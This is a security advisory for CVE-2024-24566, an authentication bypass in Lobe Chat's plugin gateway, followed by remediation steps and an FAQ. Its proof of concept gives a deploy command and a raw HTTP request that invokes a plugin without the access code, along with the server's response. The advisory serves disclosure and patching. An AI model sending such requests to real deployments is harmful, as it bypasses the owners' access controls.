CVE-2024-24566: Lobe Chat unauthorized access to plugins
Description: When the application is password-protected (deployed with the ACCESSCODE option), it is possible to access plugins without proper authorization (without password). Proof-of-Concept: Let’s suppose that application has been deployed with following command: sudo docker run -d -p 3210:3210 -e OPENAIAPIKEY=sk-[REDACTED] -e ACCESSCODE=TEST123 --name lobe-chat lobehub/lobe-chat Due to the utilization of the ACCESSCODE, access to the chat is possible only after entering the password: !image
However, it is possible to interact with chat plugins without entering the ACCESSCODE. Example HTTP request: POST /api/plugin/gateway HTTP/1.1 Host: localhost:3210 Content-Length: 1276
{"apiName":"checkWeatherUsingGET","arguments":"{\n \"location\": \"London\"\n}","identifier":"WeatherGPT","type":"default","manifest":{"api":[{"description":"Get current weather information","name":"checkWeatherUsingGET","parameters":{"properties":{"location":{"type":"string"}},"required":["location"],"type":"object"}}],"homepage":"https://weathergpt.vercel.app/legal","identifier":"WeatherGPT","meta":{"avatar":"https://openai-collections.chat-plugin.lobehub.com/weather-gpt/logo.webp","description":"Get current weather information for a specific location.","title":"WeatherGPT"},"openapi":"https://openai-collections.chat-plugin.lobehub.com/weather-gpt/openapi.json","systemRole":"Use the WeatherGPT plugin to automatically fetch current weather information for a specific location when it's being generated by the ChatGPT assistant. The plugin will return weather data, including temperature, wind speed, humidity, and other relevant information, as well as a link to a page that has all the information. Links will always be returned and should be shown to the user. The weather data can be used to provide users with up-to-date and accurate weather information for their desired location.","type":"default","version":"1","settings":{"properties":{},"type":"object"}}} HTTP response: HTTP/1.1 200 OK [...] {"location":{"name":"London","region":"City of London, Greater London","country":"United Kingdom","lat":51.52,"lon":-0.11,"tzid":"Europe/London","localtimeepoch":1706379026,"localtime":"2024-01-27 18:10"},"current":{"lastupdatedepoch":1706378400,"lastupdated":"2024-01-27 18:00","tempc":6,"tempf":42.8,"isday":0,"condition":{"text":"Clear","icon":"//cdn.weatherapi.com/weather/64x64/night/113.png","code":1000},"windmph":4.3,"windkph":6.8,"winddegree":170,"winddir":"S","pressuremb":1031,"pressurein":30.45,"precipmm":0,"precipin":0,"humidity":81,"cloud":0,"feelslikec":3.8,"feelslikef":38.9,"viskm":10,"vismiles":6,"uv":1,"gustmph":9.5,"gustkph":15.3},"infoLink":"https://weathergpt.vercel.app/London"} Remediation: Verify the ACCESSCODE for HTTP requests to the /api/plugin/: route.
Impact: Unauthorized access to plugins.
Other sources
Lobe Chat is a chatbot framework that supports speech synthesis, multimodal, and extensible Function Call plugin system. When the application is password-protected (deployed with the ACCESSCODE option), it is possible to access plugins without proper authorization (without password). This vulnerability is patched in 0.122.4.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/@lobehub/chatto a version that resolves this vulnerability.Fixed in 0.122.4 - Upgrade
Upgrade
lobehub/lobe-chatto a version that resolves this vulnerability.Fixed in 0.122.4 - Configuration
Verify the ACCESS_CODE for HTTP requests to the /api/plugin/: route so plugins cannot be accessed without proper authorization (i.e., without the password).
Lobe Chat ACCESS_CODE = (ensure it is enforced/verified for HTTP requests to /api/plugin/: routes)
Event History
Frequently Asked Questions
What is the severity of CVE-2024-24566?
CVE-2024-24566 is considered a critical vulnerability due to unauthorized access to password-protected plugins.
How do I fix CVE-2024-24566?
To fix CVE-2024-24566, upgrade to the latest version of the affected software package '@lobehub/chat'.
What platforms are affected by CVE-2024-24566?
CVE-2024-24566 affects versions of the '@lobehub/chat' package up to 0.122.3 and any version of Lobehub Lobe Chat below 0.122.4.
Can CVE-2024-24566 be exploited remotely?
Yes, CVE-2024-24566 can be exploited remotely if the application is deployed with the `ACCESS_CODE` option.
What type of vulnerability is CVE-2024-24566?
CVE-2024-24566 is an authentication bypass vulnerability that allows access to plugins without proper authorization.